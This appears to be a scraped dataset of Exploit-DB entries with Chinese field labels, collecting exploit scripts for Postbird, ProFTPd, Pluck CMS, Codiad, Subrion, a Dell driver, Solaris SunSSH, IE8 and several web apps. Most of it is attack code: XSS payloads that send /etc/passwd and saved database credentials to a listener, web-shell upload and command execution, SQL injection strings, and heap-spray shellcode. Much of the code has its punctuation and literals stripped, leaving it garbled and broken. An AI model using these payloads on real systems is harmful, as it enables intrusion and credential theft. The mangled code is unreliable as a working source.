QLWD/code_shield huggingface dataset:
标题: Postbird 0.8.4 - Javascript Injection EDB-ID: 49910 CVE: 2021-33570 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-05-27 漏洞利用脚本: # Exploit Title: Postbird 0.8.4 - Javascript Injection
# Date: [26 May 2021]
# Exploit Author: Debshubra Chakraborty
# Vendor Homepage: https://github.com/paxa/postbird
# Software Link: https://www.electronjs.org/apps/postbird
# Version: 0.8.4 
# Tested on: Linux
# CVE : CVE-2021-33570

"""
XSS Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?xss='+JSON.stringify(navigator.appVersion), true);xhttp.send();">

LFI Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'file:///etc/passwd', false);xhttp.send();var res = xhttp.response;xhttp.open('GET', 'http://127.0.0.1 :5555/?file='+JSON.stringify(res), true);xhttp.send();">

PostgreSQL Password Stealing Payload
<img src="" onerror="var xhttp = new XMLHttpRequest();xhttp.open('GET', 'http://127.0.0.1 :5555/?credentials='+window.localStorage.savedConnections, true);xhttp.send();">

"""

 httpserver  BaseHTTPRequestHandler HTTPServer
 urllibparse
 re

hostName  
serverPort  

 BaseHTTPRequestHandler
     self
        selfsend_response
        parseurllibparseunquoteselfrequestline

     self  args
           


 data
    expression  research data
    attr  expressiongroup

     attrattr  
        data  datadata    
        data  datarsplit
        f
         output  data
            output

     attrattr  
        data  datadata
        f
    
     attrattr  
        pos  research data
        data  dataposstartdata
         i   data 
             datai  
                pos  i
                

        host  datapos
        data  data
        data  datarsplit
        f
         output  data
            output
    
    
        f


         
     hostName serverPort
    webServer  HTTPServerhostName serverPort MyServer
      hostName serverPort

    
        webServerserve_forever
    
     KeyboardInterrupt
        

    webServerserver_close
    


 __name__  
    main URL: https://www.exploit-db.com/exploits/49910
标题: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) EDB-ID: 49908 CVE: 2015-3306 类型: REMOTE 平台: LINUX 发布日期: 2021-05-26 漏洞利用脚本: # Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Date: 25/05/2021
# Exploit Author: Shellbr3ak
# Version: 1.3.5 
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306

#!/usr/bin/env python3

import sys
import socket
import requests

def exploit(client, target):
    clientconnecttarget 
    banner  clientrecv
    bannerdecode
    clientsendb
    clientrecvdecode
    clientsendb 
    clientrecvdecode
    clientsendb
    clientrecvdecode
    clientsendb
    clientrecvdecode
    clientclose
    

 url
    req  requestsgeturl 
     reqstatus_code  
        
        f
    
        
        

 
    client  socketsocketsocketAF_INET socketSOCK_STREAM
    target  sysargv
    exploitclient target
    url    target  
    checkurl

 __name__  
    main URL: https://www.exploit-db.com/exploits/49908
标题: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) EDB-ID: 49909 CVE: 2020-29607 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-26 漏洞利用脚本: # Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607

'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''



 sys
 requests
 json
 time
 urllibparse



target_ip  sysargv
target_port  sysargv
password  sysargv
pluckcmspath  sysargv



session  requestsSession
link    target_ip    target_port  pluckcmspath
response  sessiongetlink
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 




base_content_len  
password_encoded  urllibparsequotepassword safe
password_encoded_len  password_encodedencode
content_len  base_content_len  password_encoded_len


header  
     target_ip
     
     
     
     
     
     content_len
       target_ip
     
       target_ip  pluckcmspath  
     cookie
     



body  
     password
     
     



link_auth    target_ip    target_port  pluckcmspath  
auth  requestspostlink_auth headersheader databody

   authtext
    
    exit

    
    




header  
     target_ip
     
     
     
     
     
     
       target_ip    target_port  pluckcmspath  
     cookie
     



data  


link_upload    target_ip    target_port  pluckcmspath  
upload  requestspostlink_upload headersheader datadata



  target_ip    target_port  pluckcmspath URL: https://www.exploit-db.com/exploits/49909
标题: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3) EDB-ID: 49907 CVE: 2018-19423 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-05-26 漏洞利用脚本: # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3)
# Date: 24.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://codiad.com/
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4
# Version: 2.8.4
# Tested on Xubuntu 20.04
# CVE: CVE-2018-19423

'''
Description:
Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file.
'''



 requests
 json
 time
 sys
 urllibparse


target_ip  sysargv
target_port  sysargv
username  sysargv
password  sysargv
codiadpath  
projectname  




session  requestsSession
link    target_ip    target_port  codiadpath
response  sessiongetlink
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 




base_content_len  
username_encoded  urllibparsequoteusername safe
username_encoded_len  username_encodedencode
password_encoded  urllibparsequotepassword safe
password_encoded_len  password_encodedencode
content_len  base_content_len  username_encoded_len  password_encoded_len


header  
     target_ip
     
     
     
     
     
     
     content_len
       target_ip    target_port
     
       target_ip    target_port  
     cookie



body  
     username
     password
     
     



link_base    target_ip    target_port  codiadpath
link_auth  link_base  


auth  requestspostlink_auth headersheader databody

authtext
timesleep




header  
     target_ip
     
     
     
     
     
     
     cookie
     



data  


link_exploit  link_base    projectname


exploit  requestspostlink_exploit headersheader datadata

exploittext
timesleep





      

  target_ip    target_port  codiadpath    projectname URL: https://www.exploit-db.com/exploits/49907
标题: WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS) EDB-ID: 49903 CVE: 2021-24299 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-24 漏洞利用脚本: # Exploit Title: WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS)
# Date: 2021-05-10
# Exploit Author: Bastijn Ouwendijk
# Vendor Homepage: https://reservationdiary.eu/
# Software Link: https://wordpress.org/plugins/redi-restaurant-reservation/
# Version: 21.0307 and earlier
# Tested on: Windows 10
# CVE : CVE-2021-24299
# Proof: https://bastijnouwendijk.com/cve-2021-24299/

Steps to exploit this vulnerability:

1. Go to the page where [redirestaurant] is embed to make a restaurant reservation by filling in the requested information
2. In the 'Comment' field of the restaurant reservation form put the payload: `<script>alert("XSS")</script>`
3. Submit the form
4. While being logged into WordPress as administrator go to ReDi Reservations > Upcoming (Tablet PC)
5. Click on 'View upcoming reservations'
6. Select for 'Show reservations for': 'This week'
7. The reservations are loaded and two alerts are shown with text 'XSS' URL: https://www.exploit-db.com/exploits/49903
标题: Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS) EDB-ID: 49901 CVE: 2021-33561 2021-33562 类型: WEBAPPS 平台: JAVA 发布日期: 2021-05-24 漏洞利用脚本: # Exploit Title: Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS)
# Date: 23-05-2021
# Exploit Author: Marek Toth 
# Vendor Homepage: https://www.shopizer.com
# Software Link: https://github.com/shopizer-ecommerce/shopizer
# Version: <= 2.16.0
# CVE: CVE-2021-33561, CVE-2021-33562

Stored XSS - 'customer_name' Administration 

Description:
A stored cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration and saved in the database. The code is executed for any user of store administration when information is fetched from backend.

Steps to reproduce:
1. Open "http://example.com/admin/" and login to the administration
2. Open "Customers" (http://example.com/admin/customers/list.html) and click on the "Details" button
3. Change customer name to <script>alert(1)</script> and save it
4. Open "Customers" -> XSS payload will trigger

Except "Customers" section, XSS will be executed in "Orders" (/admin/orders/list.html) and "Recent orders" (/admin/home.html)

Reflected XSS - 'ref' parameter 

Description:
A reflected cross-site scripting (XSS) vulnerability in Shopizer before version 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the 'ref' parameter.

Payloads: 
'+alert(1)+'
'+eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))+'

PoC:
http://example.com/shop/product/vintage-bag-with-leather-bands.html/ref='+alert(1)+' URL: https://www.exploit-db.com/exploits/49901
标题: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2) EDB-ID: 49902 CVE: 2019-19208 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-05-24 漏洞利用脚本: # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2)
# Date: 21.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://herolab.usd.de/security-advisories/usd-2019-0049/ (Tobias Neitzel)
# Vendor Homepage: http://codiad.com/
# Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4
# Version: 2.8.4
# Tested on: Xubuntu 20.04 and Cent OS 8.3
# CVE: CVE-2019-19208

'''
Description: 
An unauthenticated attacker can inject PHP code before the initial configuration
that gets executed and therefore he can run arbitrary system commands on the server.
'''



 requests
 json
 sys
 time



target_ip  sysargv
target_port  sysargv







selection  
 selection    selection  
    path  
    content_len  
 selection  
    path  
    content_len  



session  requestsSession
link    target_ip    target_port  
response  sessiongetlink
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 



header  
     target_ip
     
     
     
     
     
     
     content_len
       target_ip
     
       target_ip  
     cookie




string  
body  
     path
     
     
     
     
     path  
     string





link  link  
x  requestspostlink headersheader databody

timesleep



header  
     target_ip
     
     
     
     
     
     cookie
     
     

payload  
 payload  
    link_payload    target_ip    target_port    payload
    x  requestsgetlink_payload headersheader
    xtext
    payload URL: https://www.exploit-db.com/exploits/49902
标题: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) EDB-ID: 49893 CVE: 2021-21551 类型: LOCAL 平台: WINDOWS 发布日期: 2021-05-21 漏洞利用脚本: # Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version: <= 2.3
# CVE: CVE-2021-21551
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/

#include <iostream>
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <algorithm>






  Exploit

 uint64_t    Field1     
   Field2  
 uint64_t    Field3     
 uint64_t    Field4     


  outBuffer

 uint64_t    Field1
 uint64_t Field2
 uint64_t    Field3
 uint64_t    Field4



using pNtQuerySystemInformation  WINAPI
 ULONG SystemInformationClass
 PVOID SystemInformation
 ULONG SystemInformationLength
 PULONG ReturnLength


  _SYSTEM_HANDLE_TABLE_ENTRY_INFO

 USHORT UniqueProcessId
 USHORT CreatorBackTraceIndex
 UCHAR ObjectTypeIndex
 UCHAR HandleAttributes
 USHORT HandleValue
 PVOID Object
 ULONG GrantedAccess
 SYSTEM_HANDLE_TABLE_ENTRY_INFO  PSYSTEM_HANDLE_TABLE_ENTRY_INFO


  _SYSTEM_HANDLE_INFORMATION

 ULONG NumberOfHandles
 SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles
 SYSTEM_HANDLE_INFORMATION  PSYSTEM_HANDLE_INFORMATION

  argc  argv


 
 HANDLE device  
  L
  GENERIC_WRITE  GENERIC_READ
  
  nullptr
  OPEN_EXISTING
  
  
  device  INVALID_HANDLE_VALUE
 
  stdcout      stdendl
   
 
 stdcout  

 
 pNtQuerySystemInformation NtQuerySystemInformation  pNtQuerySystemInformationL 
  NtQuerySystemInformation
 
  stdcout      stdendl
   
 
 stdcout  

 
 HANDLE currentProcess  
 HANDLE currentToken  
 bool success  currentProcess TOKEN_ALL_ACCESS currentToken
  success
 
  stdcout      stdendl
   
 
 stdcout  

 
 PSYSTEM_HANDLE_INFORMATION handleTableInformation  PSYSTEM_HANDLE_INFORMATION HEAP_ZERO_MEMORY SystemHandleInformationSize

 
 ULONG returnLength  
 SystemHandleInformation handleTableInformation SystemHandleInformationSize returnLength

 uint64_t tokenAddress  
 
   i   i  handleTableInformationNumberOfHandles i
 
  SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo  SYSTEM_HANDLE_TABLE_ENTRY_INFOhandleTableInformationHandlesi
  
   handleInfoUniqueProcessId    handleInfoHandleValue  USHORTcurrentToken
  
   tokenAddress  uint64_thandleInfoObject
   stdcout    stdhex  tokenAddress  stdendl
  
 

 outBuffer buffer 
 
  
  
  
  
 

 

 
 Exploit exploit 
 
  
  tokenAddress  
  
  
 

 
 Exploit exploit2 
 
  
  tokenAddress  
  
  
 

 
 Exploit exploit3 
 
  
  tokenAddress  
  
  
 

 DWORD bytesReturned  
 success  
  device
  IOCTL_CODE
  exploit
  exploit
  buffer
  buffer
  bytesReturned
  nullptr
  success
 
  stdcout      stdendl
   
 
 stdcout  

 success  
  device
  IOCTL_CODE
  exploit2
  exploit2
  buffer
  buffer
  bytesReturned
  nullptr
  success
 
  stdcout      stdendl
   
 
 stdcout  

 success  
  device
  IOCTL_CODE
  exploit3
  exploit3
  buffer
  buffer
  bytesReturned
  nullptr
  success
 
  stdcout      stdendl
   
 
 stdcout  
 stdcout  
 stdcout URL: https://www.exploit-db.com/exploits/49893
标题: Solaris SunSSH 11.0 x86 - libpam Remote Root (2) EDB-ID: 49896 CVE: 2020-14871 类型: REMOTE 平台: SOLARIS 发布日期: 2021-05-21 漏洞利用脚本: # Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root (2)
# Original Exploit Author: Hacker Fantastic
# Metasploit Module Author: wvu 
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris10-overview.html
# Version: 10
# Tested on: SunOS solaris 10
# CVE: CVE-2020-14871
# Ported By: legend

import socket
import paramiko
from time import sleep

payload = b"A"*516+ b"\x04\x39\xbb\xfe" + b"\x19\xf8\xf0\x14" + b"\x01\x01\x04\x08" + b"\x07\xba\x05\x08" + b"\xd0\x56\xbb\xfe" + b"\xdf\x1e\xc2\xfe" + b"\x8c\x60\xfe\x56" + b"\xf1\xe3\xc3\xfe"
payloadb


payloadb
payloadb

  payload
 title instructions prompt_list
    resp    
     pr  prompt_list
        pr
         prstartswith
            sleep 
            respappendpayload
            
     resp

 socket
sock  socketsocketsocketAF_INET socketSOCK_STREAM
sockconnect 
ts  paramikoTransportsock
tsstart_clienttimeout
tsauth_interactiveusername handlerinter_handler URL: https://www.exploit-db.com/exploits/49896
标题: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection EDB-ID: 49884 CVE: 2021-27828 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-05-19 漏洞利用脚本: # Exploit Title: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
# Date: 18/05/2021
# Exploit Author: Gulab Mondal
# Vendor Homepage: https://www.in4velocity.com/in4suite-erp.html
# Version: In4Suite ERP 3.2.74.1370
# Tested on: Windows
# CVE: CVE-2021-27828

-----------------------------------------

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to
modify or delete data, causing persistent changes to the application's
content or behavior by using malicious SQL queries.

--------------


# Error condition
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt=" "

# SQL Injection exploitation
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin OR '1=1&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt="

------------------------------ URL: https://www.exploit-db.com/exploits/49884
标题: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS) EDB-ID: 49880 CVE: 2021-24245 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-19 漏洞利用脚本: # Exploit Title: WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)
# Date: 04/08/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://wordpress.org/plugins/stop-spammer-registrations-plugin/
# Software Link: https://downloads.wordpress.org/plugin/stop-spammer-registrations-plugin.zip
# Version: <= 2021.8
# Tested on: Windows-Ubuntu
# CVE : CVE-2021-24245

Summary:

Reflected cross-site scripting (XSS) vulnerabilities in 'Stop Spammers <= 2021.8' allow remote attackers to run arbitary javascript

Proof of concepts:

1-Install "Stop Spammers <= 2021.8" in your wordpress website
2-For testing remove your IP address from the allowed list
3-Go to http://<YOUR-WEBSITE>/wp-admin
4-In username field enter this payload ~> ad" accesskey=X onclick=alert(1) "
#Notice the `ad` keyword must be in your payload!
5-Press Alt + Shift + X to trigger Xss
#Tested on Firefox

Request POC:

POST /wp-login.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 161
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check;

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1 URL: https://www.exploit-db.com/exploits/49880
标题: Subrion CMS 4.2.1 - Arbitrary File Upload EDB-ID: 49876 CVE: 2018-19422 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-17 漏洞利用脚本: # Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)
# Date: 17/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://subrion.org/
# Software Link: https://github.com/intelliants/subrion
# Version: SubrionCMS 4.2.1
# Tested on: Debian9, Debian 10 and Ubuntu 16.04
# CVE: CVE-2018-19422
# Exploit Requirements: BeautifulSoup library
# https://github.com/intelliants/subrion/issues/801

#!/usr/bin/python3

import requests
import time
import optparse
 random
 string
 bs4  BeautifulSoup

parser  optparseOptionParser
parseradd_option  action dest 
parseradd_option  action dest 
parseradd_option  action dest 

options args  parserparse_args

  optionsurl
    
    
    
    exit

url_login  optionsurl
url_upload  optionsurl  
url_shell  optionsurl  
username  optionsuser
password  optionspassw

session  requestsSession

 
     csrfToken
    
      url_login
    
        get_token_request  sessiongeturl_login
        soup  BeautifulSoupget_token_requesttext 
        csrfToken  soupfindattrs  
        
        timesleep

         csrfToken
            f
             

            auth_url  url_login
            auth_cookies   
            auth_headers                   
            auth_data   csrfToken  username  password
            auth  sessionpostauth_url headersauth_headers cookiesauth_cookies dataauth_data

             authtext  
                
                exit
            
                
        
            
            exit

     requestsexceptionsConnectionError  err
        url_login
        
        exit

     csrfToken

 
     shell_name 
    
    shell_name  joinrandomchoicestringascii_lowercase  x  
    timesleep  
    shell_name

     shell_name

 
    
    
        up_url  url_upload
        up_cookies     
        up_headers                 
        up_data  csrfTokenshell_name
        sessionpostup_url headersup_headers cookiesup_cookies dataup_data
    
     requestsexceptionsHTTPError  conn
        url_upload
        exit

 
    
        url_clean  url_shellreplace 
        req  sessiongeturl_clean  shell_name  

         reqstatus_code  
              url_shell  shell_name  
             
                cmd  
                x  sessiongeturl_clean  shell_name  cmd
                xtext
        
            
    
        

login
name_rnd
shell_upload
code_exec URL: https://www.exploit-db.com/exploits/49876
标题: Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free EDB-ID: 49872 CVE: 2013-3893 类型: LOCAL 平台: WINDOWS 发布日期: 2021-05-17 漏洞利用脚本: # Exploit Title: Microsoft Internet Explorer 8 - 'SetMouseCapture ' Use After Free
# Date: 15/05/2021
# CVE : CVE-2013-3893
# PoC: https://github.com/travelworld/cve_2013_3893_trigger.html/blob/gh-pages/params.json
# Exploit Author: SlidingWindow
# Vendor Advisory: https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2887505?redirectedfrom=MSDN
# Tested on: Microsoft Internet Explorer 8 (version: 8.0.7601.17514) on Windows 7 SP1 (Version 6.1 Build 7601 SP1)
# Bypasses: DEP, ASLR using MSVCR71.DLL
# Thanks to @corelanc0d3r for awesome Heap Exploitation Training and @offsectraining for OSCP training

<html>
script
 spraychunks   

  
   
  
     ropchain   

    
    ropchain    
    
    
    ropchain  );
    
    
    ropchain   
    
    
    ropchain  );
    
    
    

    ropchain  
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
      
      
      
         
      
        
        
        
        
       

    
    
    

     shellcode  ); 

     junk    
     junklength   junk  junk
    offset    
     junk_front  junkoffset
     junk_end  junk  junk_frontlength  ropchainlength  shellcodelength
     smallblock  junk_front  ropchain  shellcode  junk_end

    
     largeblock  
     largeblocklength    largeblock  largeblock  smallblock 

    
     i   i   i  spraychunksi  largeblock   
    
  
  
   nr_alloc
      i i  nr_alloc i
      divobj  document
      
      divobjclassName    
                        
                       
    
  

  
  
   
  
     id_0  document
     id_1  document

    
    documentbodyid_0
    documentbodyid_1
    id_1id_0

    id_0e 
    
    document
    
    
    
    
      
    

    id_0
    id_0
    id_1
  

  window   
    
  
 
script
html

 Debug Taking a different code path   exploit

First chance exceptions are reported before any exception handling
This exception may be expected and handled
eax ebx ecx edx esic098 edi
eipb68d espc34c ebpc360 iopl         nv up ei pl nz na po nc
cs  ssb  dsb  esb  fs  gsb             efl
mshtmlCElementDoc
b68d b01            mov     eaxdword ptr ecx  dsb

 u eip
mshtmlCElementDoc
b68d b01            mov     eaxdword ptr ecx
b68f b5070          mov     edxdword ptr eaxh
b692 ffd2            call    edx
b694 b400c          mov     eaxdword ptr eaxCh
b697 c3              ret
b698               nop
b699               nop
b69a               nop

 ub eip
mshtmlCElementSecurityContext
b681 b01            mov     eaxdword ptr ecx
b683 b5070          mov     edxdword ptr eaxh
b686 ffe2            jmp     edx
b688               nop
b689               nop
b68a               nop
b68b               nop
b68c               nop URL: https://www.exploit-db.com/exploits/49872